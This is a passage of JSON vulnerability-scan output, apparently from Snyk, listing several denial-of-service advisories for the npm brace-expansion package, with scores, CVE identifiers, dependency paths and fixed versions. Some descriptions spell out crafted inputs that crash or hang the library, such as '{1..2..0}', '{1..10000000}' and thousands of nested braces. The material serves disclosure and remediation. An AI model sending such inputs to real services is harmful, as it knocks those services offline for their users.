versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", 